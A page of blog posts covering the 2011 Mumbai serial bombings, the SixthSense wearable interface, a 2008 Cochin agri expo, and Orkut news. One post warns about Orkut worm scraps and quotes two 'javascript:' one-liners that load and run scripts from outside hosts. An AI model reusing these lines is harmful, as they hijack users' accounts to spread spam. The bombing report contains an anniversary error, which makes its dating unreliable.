Three Serial Terrorist Bomb Explosions Shakes Mumbai (Bombay) Again

Three serial bomb explosions have shaken the Mumbai (Bombay) city again. All three blasts took place today (July 13, 2011) during rush hour period in the evening, between 6:30 to 7:00 pm (IST) in crowded places. The explosions were at Zaveri Bazaar, Opera House and Dadar. Initial reports confirm that about 13 people died due to the bomb explosions and more than 100 public are feared to be injured.

Picture showing the places where the bombs exploded in Mumbai.

The Maharashtra state police have confirmed that every thing is under control and there is no need to panic. Reports also indicate that a BSF (Border Security Force) aircraft with the National Security Guard (NSG) Commandos, National Investigation Agency (NIA) team and forensic experts from New Delhi is expected to reach Mumbai shortly.

Some news sources have reported that one unexploded bomb has been found in Dadar which has been subsequently defused.

It is assumed that Improvised Explosion Devices (IEDs) have been used for these explosions. Terrorist groups like The Indian Mujahideen's and/or Lashkar-e-Taiba are thought to be behind these attacks. Involvement of Al Qaeda and/or Taliban fractions also can not be ruled out. It is understood that the Indian intelligence agencies had some clues that some terrorists groups may be in preparation for an attack. Some sources indicate that the US intelligence agencies have also informed Indian authorities against a possible attack in India after the death of Osama bin Laden. It seems that the authorities could not take any action as they lacked any solid information about the location and/or time of such an attack.

India on High Alert

Major cities in India including Delhi, Kolkata (Calcutta), Chennai (Madras) and the Indian IT hubs like Bangalore and Hyderabad have been put on a high alert after the explosions. All the States and Union Territories in India are also on high alert.

Some sources indicate that the blasts coincide with the birthday of Mohammad Ajmal Amir Qasab, the sole surviving terrorist from the 2008 Mumbai attacks. It may be also noted that it is just 2 days past the 5th anniversary of 2008 Mumbai terrorist attacks which killed nearly 170 people.

Pranav Mistry : The inventor of 'SixthSense' (WUW - Wear Ur World) technology

'SixthSense' is a wearable gestural interface gadget that augments the physical world around us with digital information and lets us use natural hand gestures to interact with that information. By using a camera and a tiny projector mounted in a pendant like wearable device, 'SixthSense' sees what you see and visually augments any surfaces or objects we are interacting with. It projects information onto surfaces, walls, and physical objects around us, and lets us interact with the projected information through natural hand gestures, arm movements, or our interaction with the object itself.

The current prototype system costs approximately $350 to build. Mr. Pranav Mistry a MIT Media Lab student from India is the inventor of 'SixthSense'.


VIDEO: Demonstration of 'SixthSense' / WUW - Wear Ur World by Pranav Mistry at TED Talks Video

VIDEO: Presentation of 'SixthSense' by Ms. Pattie Maes on TED Talks Video

>>> Read more here: http://www.pranavmistry.com/projects/sixthsense/


About Mr. Pranav Mistry

Mr. Pranav Mistry is currently working as a Research Assistant and PhD candidate at the MIT Media Lab (Massachusetts Institute of Technology). He is working under Ms. Pattie Maes (Director, Fluid Interfaces Group at MIT Media Lab). Before joining MIT Pranav Mistry worked as a UX Researcher with Microsoft. He received his Master in Media Arts and Sciences from MIT and Master of Design from IIT Bombay. He has completed bachelors degree in Computer Science and Engineering. His is from Palanpur - his hometown - which is situated in northern Gujarat in India.

>>> Web site: http://www.pranavmistry.com/

India International Agri Expo' 08 - from 31st Oct to 2nd Nov 2008, Cochin (India)

Foundation for Organic Agriculture and Rural Development is a not-for-profit organisation with a mandate to promote Organic Agriculture and Rural Development.

As one of the initiatives for the development of the Agri sector, Foundation for Organic Agriculture and Rural Development is conducting a very unique three-day exhibition-cum-workshop on Agri-Tech initiatives titled - "India International Agri Expo 2008" from 31st October to 2nd November, 2008 at Town Hall, Cochin (Kerala, India), jointly with The Indus Entrepreneurs (TiE) Kerala.

The event is expected to attract a large number of exhibitors from India and abroad to showcase their products and services. Organic agriculture and its vast potential will have a special emphasis. We intend to have a special pavilion exclusively for Organic Farming Sector.

There will be Technical Seminars, Business to Business (B2B) Meets & Discussions during the three days of the event. Topics like Organic Agriculture & Aquaculture, Farm Mechanization, Green House Technology, Value Addition and Processing of Agri Products, Horticulture & Floriculture, Farm Tourism, Emerging Marketing Opportunities in Agri Sector etc. will be covered in these technical seminars.

More details can be availed from the website: www.iiagriexpo.com

The Brochure and the Registration Form can be downloaded from the above website. Please let me know if you face any difficulty in downloading the Brochure or the Registration Form.

For further clarifications and assistance Please contact :

Organising Committee Office

India International Agri Expo 2008 (IIAE-'08)
C/o TiE Kerala
Room No.2A, 3rd Floor, Kurian Towers,
Banerji Road, Kochi – 18.
Phone : +91-484-3248735, 2620850
Mobile : +91-9847859853, 9388616559
E-mail: info@iiagriexpo.com
Website: http://www.iiagriexpo.com

Lot of malicious JavaScripts are at work in Orkut - sending scraps to all your friends without your knowledge!

You might have already come across some scrap or message on Orkut instructing you to copy a link to your address-bar and asking you to run it (by hitting ENTER). I agree that there are many harmless useful scripts like the most common 'Send Scraps to All' type. But please don’t run it unless you are cent per cent sure that it is safe. Because it is highly probable that it is a trick to compromise or infect your computer. Most of these scraps are result of activities from some malicious codes or viruses like entities. These scraps are capable of modifying and deleting itself, and adds you to the some Orkut Community.

Many of you have likely received such scraps from friends of yours that they actually didn't send, and friends may have received scraps that appeared to come from you!

Two examples of such scraps are given below:

Example 1:

"Here are some amazing tricks to make your cell phone battery last longer. It worked for Me. Just copy the JavaScript, paste it in your Address bar (the place where u see www.orkut.com) and hit ENTER

javascript:d=document;c=d.createElement('script');d.body.appendChild(c)
;c.src='http://userscripts.googlepages.com/news.user.js';void(0)

Trust me, you'll find this newsletter informative!
And If U Like it..You can even Go Here for More Tricks."


Example 2:

"Here are some cool pic..BY XXXXX.. Just copy the JavaScript, paste it in your address bar and PRESS ENTER

javascript:d=document;c=d.createElement('script');d.body.appendChild(c)
;c.src='http://tricks80.googlepages.com/20885.user.js';void(0)

trust me, you'll find thispic funny!"

In the first example, it also links to an Orkut community, asking you to join it.


Recently I got some scraps mimicking a YouTube video showing some thing vague - just to ignite our curiosity!....to make you click on it with an intention to view the video. But actually it is a picture not a flash video. The picture is linked to some problematic website hosting a Trojan named Infostealer.Orcu. You will realize something is wrong with that only after clicking the picture! One such picture is given below.

A picture mimicking YouTube flash video

Usually such scraps will also have some thing written purposefully in Portuguese...something like "Olha so que encontrei Varios flagras no BBB8 vc vai pira". This worm, named as MW.Orc, primarily targets Brazilian users of Google's Orkut website.

But you can make sure whether it is a picture or a genuine Flash Movie before clicking it. To know whether it is a genuine flash video just right click it, if you see Flash Player shortcut menu, it is a genuine flash video and if you see a shortcut menu containing "Save Picture As..." or "Properties", it is a picture.

Try this for yourself with the two pictures given below...one is a real flash video from YouTube and the other is just a picture of it linked to this blog!

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Alternatively, place your pointer over the picture and check at left most bottom of your browser's status bar. If you see a link there, if it is a picture linked to some other site. Make it a habit, ALWAYS CHECK DESTINATION OF THE LINK AT THE LEFTMOST BOTTOM OF THE STATUS BAR IN YOUR BROWSER. But this alerting of link at the status bar of the browser can be blocked with some scripts. So this method may not be reliable always.


These malicious codes can send scrap to all your friends when you are logged on to Orkut, without your knowledge! When your friends sees such a scrap from you on their scrap book, he/she will click or run it without a second thought, since it is from you and they have full trust in you! And if your friends falls prey to this prank, then it sends the same scrap to all friends in their list, this way it spreads and is now clogging the Orkut community. Some sites point this as Orkut worm or XSS worm. It exploits vulnerabilities in the XSS error in code created by Google webmasters. This is something like reincarnation of SPAM e-mail or Junk e-mail in Orkut!


So how to tackle it? DO NOT EXECUTE THE CODE OR CLICK ON THE LINK.....DELETE IT AS SOON AS YOU SEE IT.


Interestingly many of these SPAM Script codes are hosted on Google pages...a free hosting service from Google! Orkut is a Social Network from Google and it is being hacked with their own resources! Hope people at Google and Orkut will come forward with a permanent fix for this.

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Result of Orkut's India Independence Day Poll

The result of Orkut's India Independence Day poll is out now. The poll received votes from more than 15,000 Orkut users.

Results:

Ex Indian President Abdul Kalam has been voted as the most inspiring Indian. Most of the users selected 'themselves' as their favorite global Indian. Hindi movie 'Sholay' been selected as the most popular movie. Majority of users believes that Poverty should be the most important focus area during the next 10 years, hope that India will have permanent UN Security Council seat by 2010. Also majority found that India is synonymous with a Global IT Center.



Read it here >>>


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Orkut Celebrates Indian Independence Day with Special Logo

Orkut.com -the major social networking community website has changed its logo, specially for India on the eve of Indian Independence Day. India is going to celebrate her 60th year of Independence on 15th August 2007. The site now sports a tricolour logo matching the Indian national flag colour on their login page. See the figure given below.



This is the result of the ongoing efforts by Google to keep Orkut on the top of Social Networking Platform which is facing tough sites like competition from Myspace, Hi5, Facebook etc. It is interesting to note that on Orkut, India counts third in terms of number of users after Brazil and US.

Orkut has also started an opinion poll, targeting Indians globally. Orkut users are being asked various questions like - Who is their favourite global Indian? Which is their favourite movie and Where should India focus on in the next 10 years for economic growth?

Follow the under given links to take part in the opinion poll:


Which Indian inspires you the most?
India is synonymous with...
Who is your favorite Indian fictional character?
Will India be a permanent member of the UN Security Council by 2010?
What should be the most important focus area for India during the next 10 years?
Which is the most popular movie since independence?
Your favorite "Global" Indian is....



CLICK here for more info from the official Orkut Blog >>>